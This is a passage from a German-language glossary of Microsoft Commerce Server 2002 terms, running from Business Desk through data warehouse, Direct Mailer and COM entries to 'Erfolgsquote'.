Der primäre Benutzer von Commerce Server Business Desk. Businessmanager(innen) kennen die Geschäftsziele und -strategien sowie die Abläufe zum Erstellen und Betreiben einer erfolgreichen E-Commerce-Website.

Business-to-Business-Site

Eine E-Commerce-Website für das Erstellen und Übertragen von Bestellungen zwischen Unternehmen, zwischen denen bereits eine Geschäftsbeziehung besteht. Auch als Lieferantensite oder B2B-Site bekannt.

Business-to-Consumer-Site

Eine E-Commerce-Website für den direkten Verkauf an Endbenutzer. Auch als Retail-Site oder B2C-Site bekannt.

C

Cache

Ein Speichersubsystem, in dem häufig verwendete Daten für einen schnelleren Zugriff dupliziert werden. Im Cache werden die Inhalte häufig aufgerufener RAM-Speicherorte sowie die Adressen, unter denen diese Daten abgelegt sind, gespeichert. Referenziert der Prozessor eine Adresse im Arbeitsspeicher, überprüft der Cache, ob er diese Adresse aufweisen kann. Ist dies der Fall, werden die Daten an den Prozessor zurückgegeben. Andernfalls findet ein regulärer Speicherzugriff statt.

Ein Cache ist nützlich, wenn der RAM-Zugriff im Vergleich zur Prozessorgeschwindigkeit langsam ist, da der Cachespeicher schneller ist als der RAM-Zugriff. Mithilfe von Commerce Server Business Desk können Sie die im Cache gespeicherten Profil-, Katalog-, Transaktions- und Kampagnendaten löschen. Bei der nächsten Anfrage an Commerce Server werden die aktualisierten Daten in die Caches geladen.

Siehe auch: Kampagnenveröffentlichung (Modul), Profilveröffentlichung (Modul), Bestellcodeveröffentlichung (Modul)

Cache Loader

Eine Komponente, mit der das CacheManager-Objekt Daten in ein Cachewörterbuchobjekt lädt. Diese Komponente wurde zwar als Pipelinekomponente implementiert, wird jedoch nicht im Rahmen einer Pipeline ausgeführt.

Cache Writer

Eine Komponente, mit der das CacheManager-Objekt Aktivitätsdaten aus einem Cachewörterbuchobjekt schreibt. Diese Komponente wurde zwar als Pipelinekomponente implementiert, wird jedoch nicht im Rahmen einer Pipeline ausgeführt.

CaseColumn

Eine Spalte in einer dicht oder gering gefüllten Tabelle, die einen Fall eindeutig identifiziert. Beispielsweise wird in einem Fall, der Informationen über einen Benutzer enthält, diejenige Spalte als "CaseColumn" bezeichnet, die die "UserID" enthält. Die "CaseColumn" wird in der Tabelle "PredictorDataTables" identifiziert.

Siehe auch: Fall, Gering gefüllte Tabelle, PivotColumn, Dicht gefüllte Tabelle, AggregateColumn

CCW

Siehe COM-Aufrufwrapper (COM-callable Wrapper, CCW).

Client

Das Programm oder der Benutzer, von dem eine Anfrage in einer Client/Server-Beziehung ausgeht. Beispielsweise stellt eine Person, die Commerce Server Business Desk verwendet, Clientanforderungen an den Business Desk-Server, um Daten abzurufen.

CLS

Siehe Common Language Specification.

Cluster

Eine Gruppe von Benutzern im Commerce Server-Vorhersagefeature, deren Profile gemeinsame Merkmale aufweisen. Cluster werden von der Vorhersageressource erkannt und können mit dem Modul "Segment-Viewer" angezeigt werden.

Siehe auch: Webfarm

Code für Bundesland/Kanton

Ein aus drei Zeichen bestehender Datencode, der in Commerce Server Business Desk verwendet wird, um das Bundesland oder den Kanton zu kennzeichen, in das oder den Produkte geliefert werden sollen. Der Code für Bundesland/Kanton muss festgelegt werden, um das Modul "Steuer" von Commerce Server Business Desk verwenden zu können.

Codewert

Eine Abkürzung für die Darstellung von Textinformationen für Eigenschaften wie Land/Region, Bundesland/Kanton und Bestellstatus. WA ist beispielsweise der Codewert für Washington.

COM

Siehe Component Object Model (COM).

COM-Aufrufwrapper (COM-callable Wrapper, CCW)

Ein Proxyobjekt, das zur Laufzeit generiert wurde, damit verwaltete Klassen, einschließlich .NET Framework-Klassen, von vorhandenen COM-Anwendungen transparent verwendet werden können.

Commerce-Anwendung

Siehe Anwendung.

Commerce-Modul

Eine Erweiterung des ASP.NET HTTP Module Frameworks. Commerce-Module dienen zur Initialisierung von Laufzeitdiensten, die für .NET-basierte Commerce Server-Anwendungen spezifisch sind. Sie werden von der Microsoft.CommerceServer.Runtime.CommerceModule-Basisklasse abgeleitet. Commerce-Module sind HTTP-Module.

Siehe auch: HTTP-Modul

Commerce Server Business Desk

Ein webbasiertes Siteverwaltungstool in Commerce Server 2002, das Geschäftsverwaltungsmodule für die Verwaltung und Analyse von E-Commerce-Sites bereitstellt. Beispielsweise können Sie Preisinformationen in Ihrem Katalog aktualisieren, neue Anzeigen auf bestimmte Benutzer ausrichten und anschließend Berichte ausführen, um festzustellen, wie sich diese Änderungen auf die Siteproduktivität auswirken. Auf Commerce Server Business Desk kann von jedem Computer aus zugegriffen werden, auf dem Microsoft Internet Explorer 5.5 ausgeführt wird; da das Tool webbasiert ist, kann der Zugriff sowohl lokal als auch remote erfolgen.

Jede Commerce Server-Website verfügt über eine spezifische Instanz von Business Desk, mit der sie verknüpft ist. Dieses Framework ist hauptsächlich als DHTML (Dynamic Hypertext Markup Language) implementiert. Es ist so konzipiert, dass Siteentwickler die von Business Desk bereitgestellten Verwaltungsfunktionalitäten verändern oder erweitern können.

Commerce Server Business Desk Framework

Eine Reihe von Diensten, die für die Verwendung durch Business Desk-Module vorgesehen sind. Es handelt sich dabei um Navigations- und Sicherheitsdienste sowie um Steuerelemente für Benutzerschnittstellen. Darüber hinaus stellt das Framework einen Satz von Standardmechanismen bereit, die festlegen, wie Module von Commerce Server Business Desk zu integrieren sind.

Commerce Server Direct Mailer

Eine globale Ressource, die gleichzeitig ein Windows 2000-Dienst ist. Direct Mailer führt Direktsendungskampagnen durch. Er verarbeitet Empfängerlisten, erstellt personalisierte Nachrichtentexte aus Webseiten oder statischen Dateien und sendet die E-Mail-Nachricht an die Empfänger. Der Commerce Server-Manager dient zum Konfigurieren und Verwalten von Direct Mailer und zum Festlegen der Verbindungszeichenfolge für die Direct Mailer-Datenbank. Commerce Server-Setup installiert Direct Mailer und die Direct Mailer-Datenbank im Rahmen der Webserverinstallation und der vollständigen Installation oder bei Auswahl von "Direct Mailer" während der benutzerdefinierten Installation.

Siehe auch: Personalisierung, Direct Mailer-Datenbank

Commerce Server-Manager

Ein Systemverwaltungstool zum Verwalten und Konfigurieren von Commerce Server-Ressourcen, -Sites, -Anwendungen und -Webservern. Commerce Server-Setup installiert es im Rahmen der Webserverinstallation und der vollständigen Installation oder bei Auswahl von "Verwaltungstools" während der benutzerdefinierten Installation. Der Commerce Server-Manager wird in MMC (Microsoft Management Console) bereitgestellt.

Commerce Server Site Packager

Ein Bereitstellungstool, mit dem Ihre Site mit allen Anwendungen und Ressourcen in eine einzige Datei (mit der Erweiterung PUP) gepackt wird, die anschließend auf einen anderen Computer verschoben werden kann. Mithilfe von Site Packager können Sie Ihre Site auf verschiedenen Computern in einer verteilten Umgebung bereitstellen. Commerce Server-Setup installiert dieses Tool im Rahmen der Webserverinstallation und der vollständigen Installation oder bei Auswahl von "Laufzeitobjekte" während der benutzerdefinierten Installation.

Common Language Runtime

Die Engine auf der die Ausführung von verwaltetem Code basiert. Die Common Language Runtime stellt verwaltetem Code Dienste zur Verfügung wie sprachübergreifende Integration, Codezugriffssicherheit, Verwaltung der Objektgültigkeitsdauer sowie Unterstützung von Debug- und Profilerstellungsprozessen

Siehe auch: .NET Framework

Common Language Specification (CLS)

Ein Satz von programmatisch überprüfbaren Regeln zur Steuerung der Interoperabilität von Typen, die in verschiedenen Programmiersprachen erstellt wurden. Anhand dieser Regeln wird die Interoperabilität von CLS-kompatiblen Komponenten und Tools mit anderen CLS-kompatiblen Komponenten und Tools gewährleistet.

Component Object Model (COM)

Ein objektorientiertes Programmiermodell, in dem definiert wird, wie Objekte innerhalb einer Anwendung oder zwischen verschiedenen Anwendungen interagieren. In COM greift die Clientsoftware über einen Schnittstellenzeiger auf ein Objekt zu. Dabei ist die Schnittstelle ein verwandter Satz von Eigenschaften und Methoden.

Component Object Model (COM)-Komponente

Eine Binärdatei, die Code für eine oder mehrere Klassenfactories, für COM-Klassen, Mechanismen für Registrierungseinträge, das Laden von Code usw. enthält.

Content Selection Framework (CSF)

Ein Entwicklungsframework für das zielgerichtete Übermitteln von Inhalten. Content Selection Framework (CSF) stellt die Komponenten bereit, die zum Aufbau von geschäftsspezifischen Messagingsystemen verwendet werden. Es bietet eine Plattform für die schnelle Entscheidungsfindung, damit Benutzern gezielt Inhalte vermittelt werden können.

Cookie

Informationen über einen Benutzer, z. B. seine Identifizierungsnummer, sein Kennwort, der Klickverlauf oder die Anzahl der Sitebesuche des Benutzers, gespeichert in einer Datei. In einem Cookie können auch Ticketdaten gespeichert werden. Commerce Server unterstützt sowohl persistent als auch nicht persistent gespeicherte Cookies. Persistent gespeicherte Cookies werden auf den Computern der Benutzer gespeichert. Nicht persistent gespeicherte Cookies werden verwendet, um die Aktivitäten von authentifizierten Benutzern bei Sitebesuchen zu verfolgen. Nicht persistent gespeicherte Cookies werden beim Beenden der Sitzung gelöscht.

Siehe auch: Ticket

Cross-Selling

Ein bestimmter Verkaufstyp, bei dem Benutzern ähnliche Produkte vorgeschlagen werden wie die, die sich bereits in ihren Warenkörben befinden. Cross-Selling-Möglichkeiten können mithilfe des Commerce Server 2002 SDK (Software Development Kit) zu einer Site hinzugefügt werden.

Siehe auch: Verwandter Verkauf

CryptoAPI

Eine Schnittstelle für die Anwendungsprogrammierung (API), die Bestandteil von Microsoft Windows ist. CryptoAPI umfasst eine Reihe von Funktionen, die Anwendungen eine flexible Verschlüsselung von Daten ermöglichen und gleichzeitig den Schutz der vertraulichen Privatschlüsseldaten des Benutzers gewährleisten. Die eigentlichen kryptographischen Vorgänge werden von unabhängigen Modulen ausgeführt, die auch als Kryptographiedienstanbieter (CSPs) bekannt sind.

CS-Authentifizierung (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf globaler Ebene. Verwenden sie die CS-Authentifizierung zum Konfigurieren der Authentifizierungsoptionen für eine Site.

CSF

Siehe Content Selection Framework (CSF).

CSV

Siehe durch Trennzeichen getrennte Datei (.csv).

Cube

Eine Struktur, die eine durch gemeinsame Dimensionen und Measures festgelegte Teilmenge der Daten im Commerce Server Data Warehouse enthält. In Commerce Server wird ein Cube während des Entpackens erstellt und durch Ausführen des DTS-Berichtvorbereitungstasks aufgefüllt und für den Datenabruf verarbeitet. Das Speichern von Daten in Cubes erhöht die Geschwindigkeit des Datenabrufs.

Siehe auch: Analytische Onlineverarbeitung (OLAP, Online Analytical Processing)

D

Data Transformation Services (DTS)

Eine Komponente von SQL Server, die zum Importieren, Exportieren und Umwandeln von Daten aus verschiedenen Datenquellen verwendet wird. Commerce Server stellt eine Reihe von DTS-Tasks zum Importieren von Daten in das Commerce Server Data Warehouse bereit.

Siehe auch: Paket, Data Transformation Services-Task (DTS)

Data Transformation Services-Task (DTS)

Ein Data Transformation Services-Objekt (DTS), das auszuführende Aufgaben als Teil des Datentransformationsprozesses definiert.

Siehe auch: Data Transformation Services-Task (DTS), Paket

Data Warehouse

In Commerce Server eine Kombination aus einer SQL Server-Datenbank, einer OLAP-Datenbank (Online Analytical Processing, Analytische Onlineverarbeitung) und einer Reihe von Prozessen, die der Systemadministrator zum Importieren und Pflegen großer Datenmengen aus verschiedenen Datenquellen verwendet.

Data Warehouse (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf globaler Ebene. Verwenden Sie die Data Warehouse-Ressource zum Festlegen der Verbindungszeichenfolge für die Data Warehouse-Datenbank.

Data Warehouse-Konfiguration (DWC)

Ein im Commerce Server-Setup-Programm verfügbarer Konfigurations-Assistent, mit dem Sie eine verteilte Installation von Data Warehouse, Drittanwendungen und Webservern konfigurieren können.

Data Warehouse-Metamodell

Ein konzeptionelles Modell, das beschreibt, wie Klassen, Datenelemente, Beziehungen und Schlüssel für das logische Data Warehouse-Schema erstellt werden.

Datei

In SQL Server-Datenbanken handelt es sich dabei um die grundlegende Speichereinheit für eine Datenbank. Eine Datenbank kann in mehreren Dateien gespeichert werden. In SQL Server werden drei Arten von Dateien verwendet: Datendateien (zum Speichern von Daten), Protokolldateien (zum Speichern von Transaktionsprotokollen) und Sicherungsdateien (zum Speichern von Sicherungskopien einer Datenbank).

Dateigruppe

In SQL Server wird damit eine benannte Sammlung aus einer oder mehreren Dateien bezeichnet, die eine einzige Einheit für die Speicherreservierung bilden oder zur Verwaltung einer Datenbank dienen.

Datenanpassungswert

Ein Wert, der die Qualität der Vorhersagen darstellt, die ein Analysemodell beim Einfügen fehlender Daten erstellt.

Siehe auch: Bewertung

Datenbankebene

Eine oder mehrere Datenbanken, die mit der Geschäftslogikebene kommunizieren. In einer Commerce Server-Installation enthält die Datenbankebene die Verwaltungs- und Direct Mailer-Datenbank, die Datenbank für die Commerce Server-Komponenten (z. B. Kataloge und Profile) sowie das Data Warehouse.

Datenbeschränkungen

Die Beschränkungen für die für eine Eigenschaft zulässigen Werte. Datenbeschränkungen sind datentypspezifisch. Bei einer Zahl können die Beschränkungen beispielsweise der minimale und der maximale Wert sein.

Datencode

Ein Codewert zur Darstellung von Textinformationen für Eigenschaften wie Land/Region, Bundesland/Kanton und Bestellstatus. WA ist beispielsweise der Datencode für Washington.

Datencodes (Modul)

Ein Modul von Commerce Server Business Desk, das zum Hinzufügen und Verwalten von Bestellstatuscodes, Länder-/Regionalcodes und Codes für Bundesländer/Kantone verwendet wird. Länder-/Regionalcodes und Codes für Bundesländer/Kantone müssen eingerichtet werden, bevor Sie das Modul "Steuersätze" zur Aktualisierung Ihrer Steuertabellen verwenden können.

Datenelement

Ein Element einer Klasse, in dem ein Datenfragment gespeichert wird. Ein Datenelement ist einer Spalte in der zugrunde liegenden relationalen Datenbank im Data Warehouse zugeordnet.

Siehe auch: Klasse

Datenmarshallen

Ein Verfahren zum Entpacken von Daten, bei dem die Daten im Speicher belassen und später durch Entpacken abgerufen werden können. Commerce Server verwendet Datenmarshallen, um die Inhalte von Wörterbuchobjekten dauerhaft in der Datenbank zu speichern.

Datenspeicher

Eine SQL Server-Datenbank oder eine andere Datenbank, die die von einer E-Commerce-Site verwendeten Daten enthält, z. B. Informationen über registrierte Benutzer, Produkte oder Anzeigen. Dieser Begriff bezieht sich auch auf den Server, der die Daten enthält (den Datenspeicherserver).

Datentyp

Eine Definition für eine Reihe von Daten, die den für die Daten möglichen Wertebereich festlegt. Beispiele für Datentypen sind: Zahl, Dezimalzahl und Text.

Dicht gefüllte Tabelle

Eine Datenbanktabelle, die dicht mit Daten gefüllt ist. Zum Beispiel eine Tabelle, die Benutzerinformationen enthält, die einen Benutzer pro Zeile und eine Spalte für jede Benutzereigenschaft (z. B. Beruf, Alter und Geschlecht) umfasst. Wenn ein Fall auf der Grundlage einer dicht gefüllten Tabelle erstellt wird, werden die Spalten der dicht gefüllten Tabelle in der Tabelle "PredictorDataTables" als "CaseColumn", "PivotColumn" und "AggregateColumn" identifiziert. Eine Modellkonfiguration kann jeweils nur immer auf eine dicht gefüllte Tabelle verweisen.

Siehe auch: AggregateColumn, Fall, CaseColumn, PivotColumn, Gering gefüllte Tabelle

Dienst

Ein Programm, eine Programmroutine oder ein Prozess, die eine spezifische Systemfunktion ausführen, um andere Programmen zu unterstützen, insbesondere auf einer niedrigen, hardwarenahen Ebene. Wenn Dienste über ein Netzwerk zur Verfügung gestellt werden, können sie in Active Directory veröffentlicht werden, was eine dienstorientierte Verwaltung und Verwendung vereinfacht. Dienste verfügen über eine Reihe von gemeinsamen Verwaltungsfunktionen. Ein Dienst kann z. B. gestartet, beendet, angehalten oder fortgesetzt werden, seine Startparameter können modifiziert werden, und er kann mithilfe von Befehlszeilen-Dienstprogrammen und Skripts verwaltet werden. Commerce Server enthält die folgenden Ressourcen, die gleichzeitig auch Dienste sind: Direct Mailer, Vorhersage und Listen-Manager.

Siehe auch: Ressource

Digestauthentifizierung

Eines der Authentifizierungsverfahren, die in IIS auf Website- oder Anwendungsebene eingestellt werden können. Bei der Digestauthentifizierung wird anstelle eines Klartextkennworts ein Hashwert über das Netzwerk übertragen. Dieses Verfahren kann auch über Proxyserver und Firewalls verwendet werden und stellt eine sehr sichere Form des authentifizierten Zugriffs dar.

Dimension

Ein beschreibendes Attribut eines Measures; in der Regel ein diskretes Textattribut. Eine Dimension kann z. B. die Anzahl der Käufe beschreiben. Der numerische Wert wäre in diesem Fall das Measure.

Siehe auch: Analytische Onlineverarbeitung (OLAP, Online Analytical Processing), Measure, Gruppierte Berichte, Spaltendimension, Filterdimension, Zeilendimension

Direct Mailer

Siehe auch Commerce Server Direct Mailer.

Direct Mailer-Auftragsdatei

Eine Textdatei, die Informationen über den Direct Mailer-Auftrag festlegt, z. B., ob personalisierte Nachrichtentexte übermittelt werden sollen, sowie das Format des E-Mail-Nachrichtenkopfes und der Ort, an dem sich die Empfängerliste befindet. Direct Mailer-Auftragsdateien werden nur für den Standalonemodus von Direct Mailer verwendet.

Direct Mailer-Datenbank

Eine SQL Server-Datenbank, die die E-Mail-Nachrichtentexte sowie Ereignis- und Auftragsdaten enthält. Commerce Server-Setup installiert die Direct Mailer-Datenbank, wenn Sie Commerce Server Direct Mailer installieren. Die Datenbank wird auf demselben Computer installiert wie Direct Mailer. Verwenden Sie den Commerce Server-Manager zum Festlegen der Verbindungszeichenfolge von Direct Mailer zur Direct Mailer-Datenbank.

Siehe auch: Commerce Server Direct Mailer

Direct Mailer-Pipeline

Die Infrastruktur, über die die zum Verarbeiten von Direktsendungen erforderlichen Phasen und Komponenten miteinander verknüpft werden.

Siehe auch: Direktsendung, Pipelinekomponente, Pipeline, Stufe

Direkter Preis

Ein Preis, der einem bestimmten Produkt in einem Katalog und nicht einer Preiskategorie zugeordnet ist.

Siehe auch: Indirekter Preis

Direktsendung

Eine E-Mail-Nachricht, die an einen bestimmten Benutzer gerichtet ist und die spezifischen Anforderungen einer Direktsendungskampagne erfüllt.

Siehe auch: Direct Mailer-Pipeline

Direktsendungskampagne

Eine Kampagne für die gezielte Verteilung von Anzeigen als E-Mail-Nachricht an eine bestimmte Benutzergruppe. Das Ziel besteht darin, eine hohe Rückmeldungsquote auf die Direktsendungen zu erhalten.

Dreistufenarchitektur

Eine Architektur, die eine Netwerkanwendung in drei logische Bereiche aufteilt: die Benutzeroberflächenebene (auch: die oberste Stufe ), die Geschäftslogikebene (auch: die mittlere Stufe ) und die Datenbankebene (auch: die untere Stufe). Die Ebenen können eine oder mehrere Komponenten enthalten. So können z. B. mehrere Benutzerschnittstellen in der Benutzeroberflächenebene liegen. Außerdem kann jede Benutzeroberfläche mit mehreren Anwendungen in der Geschäftslogikebene kommunizieren, und die Anwendungen in der Geschäftslogikebene können mehr als eine Datenbank auf einmal verwenden. Die Komponenten einer Ebene können von einem Computer ausgeführt werden, der von den anderen Ebenen getrennt ist, indem dieser mit den anderen Komponenten über ein Netzwerk kommuniziert.

Drilldownsuche

Eine Suchmethode, bei der Sie einen sich erweiternden Drilldown nach Produkten durchführen können, wobei Sie die Parametereinschränkungen festlegen können, beispielsweise eine Kategorie, ein Produkt oder eine Eigenschaft. Bei der Drilldownsuche suchen Sie nach Eigenschaften und reduzieren Sie fortwährend die Anzahl der zu den Suchkriterien passenden Produkte. Drilldownsuchen sind dann nützlich, wenn Sie nicht alle Ihre Produkte auf eine bestimmte Eigenschaft überprüfen möchten, sondern eine Produktgruppe identifizieren müssen.

Drillthroughbericht

Ein dynamischer Bericht mit detaillierten Informationen über alle Dimensionen des Cubes, in dem die aktivierte Dimension enthalten ist. In Commerce Server sind die folgenden dynamischen Berichte drillthroughfähig: Bericht "Produktverkäufe" und Bericht "Warenkorbereignisse". Im Rahmen der Programmierung können Sie für die Drillthroughvorgänge eine zulässige Höchstzahl von Datensätzen konfigurieren und die Drillthroughfunktion für weitere Berichte aktivieren.

Siehe auch: Dynamischer Bericht

DTC

Siehe Entwurfszeit-Steuerelement (DTC).

DTS

Siehe Data Transformation Services (DTS).

Dualer Schlüssel

Ein Schlüsseltyp, der sich aus einem Primärschlüssel und einem Verbindungsschlüssel zusammensetzt. Sie können duale Schlüssel verwenden, wenn Sie Profilattribute in Commerce Server Business Desk hinzufügen. Siehe auch Verbindungsschlüssel, Primärschlüssel.

Siehe auch: Primärschlüssel, Verbindungsschlüssel

Durch Trennzeichen getrennte Datei (.csv)

Eine Textdatei, in der Kommas zum Trennen oder Abgrenzen von Spalten oder Datenbankfeldern verwendet werden. CSV-Dateien können von den meisten Datenbanken und auch anderen Programmen exportiert und importiert werden, sodass mit einem Programm erstellte Datenbankdateien auch von einem anderen Programm verwendet werden können.

Durchgeführte Pipeline

Eine Pipeline, die COM+-Transaktionen unterstützt. MtsTxPipeline und PooledTxPipeline sind die einzigen Objekte, die Transaktionen unterstützen Falls eine Komponente in einer durchgeführten Pipeline nicht ordnungsgemäß ausgeführt wird, werden die Vorgänge der vorhergehenden Komponenten in der Pipeline rückgängig gemacht und das Objekt beendet die Transaktion.

Siehe auch: Nicht durchgeführte Pipeline, Pipeline, Pipelineobjekt

DWC

Siehe Data Warehouse-Konfiguration.

DynamicTable-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Bearbeiten von Spalten in Tabellendaten verwendet wird.

Dynamische Liste

Eine Liste von Benutzerdatensätzen, die der Listen-Manager-Dienst zur Laufzeit bei Bedarf erstellt (z. B. beim Export der Listendaten). Der Listen-Manager sammelt bei jeder Anforderung der Liste die neuesten Daten im Data Warehouse. Die zum Erstellen der Liste erforderlichen Informationen werden in der Listen-Manager-Datenbank gespeichert. (Hier unterscheidet sich die dynamische von der statischen Liste, bei der die gesamte Liste der Benutzerdatensätze in der Listen-Manager-Datenbank gespeichert wird.) Verwenden Sie dynamische Listen für häufig durchgeführte Direktsendungskampagnen oder für Adressenlisten, die oft aktualisiert werden.

Siehe auch: Statische Liste

Dynamischer Bericht

Ein Bericht, der zur Laufzeit erstellt wird. Bei jeder Ausführung eines solchen Berichts werden die neuesten Daten im Data Warehouse abgefragt. Dabei wird nur die nicht veränderliche Berichtsdefinition gespeichert. (Hier unterscheidet sich der dynamische vom statischen Bericht, bei dem der Bericht zusammen mit den Daten im Data Warehouse gespeichert wird.) Sie können dynamische Berichte in einer PivotTable oder einer PivotChart anzeigen. Verwenden Sie das Berichtsmodul zum Ausführen dynamischer Berichte.

Siehe auch: Drillthroughbericht

E

E-Commerce

Das Kaufen und Verkaufen von Produkten und Dienstleistungen über das Internet.

EDI

Siehe Electronic Data Interchange (EDI).

EditField-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Bearbeiten einzelner Datenelemente unterschiedlichen Typs verwendet wird. EditField-HTCs werden häufig in andere HTCs eingebettet, z. B. "DynamicTable", "EditSheet" und "ListEditor".

EditSheet-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Bündeln von Steuerelementen für die Datenbearbeitung verwendet wird.

Eigenschaft

Ein Merkmal eines Produkts, einer Kategorie oder eines Profils. Alle Eigenschaften besitzen einen Namen und einen Datentyp (z. B. "Beschreibungstext").

Eigenschaftsbasierte Suche

Eine Suchmethode, bei der Sie einen Katalog nach Produkten durchsuchen können, die Eigenschaften mit bestimmten Werten haben ( z. B. Preis > DM 20,00 und Farbe = Blau).

Eigenschaftsdefinition

Eine Spezifikation einer Eigenschaft, die für die Verwendung in Profil-, Kategorie- oder Produktdefinitionen verfügbar ist. Sie könnten z. B. eine Eigenschaftsdefinition mit dem Namen "Beschreibung" erstellen, die vom Datentyp "Zeichenfolge" ist. Sie könnten auch eine Eigenschaftsdefinition mit dem Namen "Geschlecht" erstellen, die vom Typ "Zahl" ist und lediglich zwei Werte akzeptiert: "Männlich "oder "Weiblich". Verwenden Sie die Module "Katalogdefinitions-Designer" und "Profildefinitions-Designer" in Business Desk zum Verwalten von Eigenschaftsdefinitionen.

Eigenwerbung

Eine Anzeige, die angezeigt wird, wenn die bezahlten Anzeigen ihrem Bereitstellungsbedarfsplan voraus sind. Ein Kunde bestellt beispielsweise 1000 bezahlte Anzeigen, die im Verlauf von vier Monaten erscheinen sollen, aber in den ersten beiden Monaten wurde die Bestellung schon 850-mal berücksichtigt. Um den Bereitstellungsbedarfszeitplan wieder auszugleichen, wird Eigenwerbung geliefert. Eigenwerbung wird auch angezeigt, wenn es keine zur Anforderung passenden bezahlten Anzeigen gibt.

Beispielsweise wird Eigenwerbung angezeigt, weil alle bezahlten Anzeigen ein erforderliches Ziel verfehlt haben oder eine Ausschlussbedingung erfüllt ist. Eigenwerbung wird auch dazu verwendet, überschüssiges Inventar zu Sonderpreisen zu verkaufen. Sie wird ferner eingesetzt, wenn die Anzeigen in einer Site keine bestimmten Auslieferungsziele besitzen, Sie jedoch die Anzeigen mit bestimmten Gewichtungen schalten möchten.

Siehe auch: Gewichtung

Eindeutiger Schlüssel

Ein Feld, das einen eindeutigen Bezeichner für jeden Datensatz einer Tabelle enthält So ist z. B. das Feld für die Sozialversicherungsnummer ein eindeutiger Schlüssel für Arbeitnehmerdaten.

Siehe auch: Primärschlüssel, Referenzielle Integrität, Fremdschlüssel

Eingabeanteil

Der Anteil der Eigenschaften, der beim Erstellen eines Analysemodells für die Vorhersage der von dem Modell zurückgegebenen Eigenschaften verwendet wird. Wenn beispielsweise in einem Analysemodell Produkt-SKUs (Stock Keeping Units) zum Vorhersagen von demographischen Eigenschaften verwendet werden und für den Eingabeeigenschaftsanteil 0,5 festgelegt wird, wird nur die obere Hälfte der wichtigsten SKUs für die Vorhersage verwendet. Siehe auch: Ausgabeanteil

Siehe auch: Ausgabeanteil

Eingabemethoden-Editor (IME)

Programme für die Eingabe der Tausenden verschiedenen Schriftzeichen asiatischer Sprachen über eine Standardtastatur mit 101 Tasten. Ein IME besteht aus einer Engine für die Konvertierung von Tastenanschlägen in phonetische und ideographische Zeichen sowie aus einem Wörterbuch mit allgemeinsprachlichen ideographischen Wörtern. Wenn der Benutzer Tasten drückt, ermittelt die IME-Engine, in welche(s) Zeichen die Tastenanschläge konvertiert werden sollen.

Einseitiges Hashing

Ein Algorithmus zur Erzeugung eines Hashwertes für bestimmte Daten. Der Algorithmus wird als einseitig bezeichnet, weil die nachfolgende Entschlüsselung der Daten keine Voraussetzung ist.

Electronic Commerce

Siehe E-Commerce.

Electronic Data Interchange (EDI)

Die Übertragung von Daten zwischen verschiedenen Unternehmen unter Verwendung von Netzwerken, z. B. das Internet. Je mehr Unternehmen an das Internet angebunden sind, umso wichtiger wird EDI als einfaches Verfahren zum Kaufen, Verkaufen und Austauschen von Informationen.

Element

Eine Instanz einer sicherungsfähigen Entität im Modul "Business Desk-Berechtigungen". Ein Element ist ein Teil einer Entität, bei dem es sich entweder um einen Business Desk-Task oder ein Objekt handelt, das die Entität für Kataloge und Profile beschreibt. So ist beispielsweise "Speichern" ein Element der Entität "Steuersätze" und "Listenpreis" ein Element der Entität "Katalogeigenschaften". "Adresszeile 1 ist ein Element, das die Entität "Adresse" beschreibt. Jedes dieser Elemente kann gesichert werden.

Siehe auch: Bereich, Entität, Berechtigungen (Modul)

Empfehlungsbewertung

Ein Wert, der die Qualität von Analysemodellen misst, wenn diese für Produktempfehlungen beim Cross-Selling verwendet werden. Dieser Wert misst die Qualität einer nach dem Rang sortierten Liste von Empfehlungen, die die Analysemodelle zurückgegeben haben.

Siehe auch: Bewertung

Entität

Die höchste Ebene in Business Desk, die gesichert werden kann. Bei einer Entität kann es sich entweder um ein Business Desk-Modul oder um eine Katalog- oder Profileigenschaft handeln. Im Folgenden sind einige Beispiele von sicherungsfähigen Entitäten aufgeführt: Benutzerprofileigenschaften, Organisationsprofileigenschaften und Berichte. Eine Entität kann mehrere Elemente enthalten.

Siehe auch: Bereich, Berechtigungen (Modul), Element

Entscheidungsbaum

Eine grafische Darstellung einer Sammlung von Vorhersageregeln, die die aus vorhandenen Daten abgeleitete Wahrscheinlichkeit zeigt, dass auf ein bestimmtes Ereignis ein bestimmtes zweites Ereignis folgt. Der Entscheidungsbaum für das Attribut X verschlüsselt die Wahrscheinlichkeitsverteilung p( X | Attribute, die X vorhersagen).

Siehe auch: Abhängigkeitsnetzwerk

Entwurfszeit-Steuerelement (DTC)

Ein spezieller Typ von ActiveX-Steuerelementen, der zum Erstellen von Text in einer Bearbeitungsumgebung verwendet wird. In der Regel werden dem Benutzer in dem Steuerelement verschiedene Wahlmöglichkeiten zur Verfügung gestellt; die Auswahl, die ein Benutzer trifft, nimmt Änderungen am Skript- oder HTML-Code vor, der auf der in Bearbeitung befindlichen Seite platziert wird.

Ereignis

Eine bestimmte Aktion des Benutzers. Zu den wichtigsten Ereignissen gehören das Drücken einer Taste auf der Tastatur, das Klicken mit der Maus oder das Auswählen einer Schaltfläche. Ereignisse werden zusammen mit der Zeit, zu der sie auftreten, aufgezeichnet. Programmierer schreiben Code, um auf diese Aktionen zu reagieren.

Siehe auch: Häufigkeit

Erfolgsquote

In Business Desk-Berichten die Anzahl der tatsächlichen Anzeigenanforderungen dividiert durch die Anzahl der Anzeigenanforderungen, die bei der Kampagnenzielfestlegung im Modul "Kampagnen-Manager" angegeben wurde. Commerce Server bestimmt anhand einer Analyse der Anzahl der in der Site aufgezeichneten Anzeigenanforderungen und des Bereitstellungsbedarfs für die Anzeige, wie oft ein bestimmter Inhalt, z. B. eine Anzeige, in der Site angezeigt werden soll. Nachdem die Anzeige während eines bestimmten Zeitraums gelaufen ist, führen Sie den Bericht "Zusammenfassung der Kampagnenartikel" aus, der den Ertrag in Prozent berechnet und so die Effizienz dieser Anzeigenkampagne in der Site wiederspiegelt.

Siehe auch: Anzeigenanforderung, Bereitstellungsbedarf (NOD, Need of Delivery), Kampagnenzielfestlegung

Erforderliche Komponente

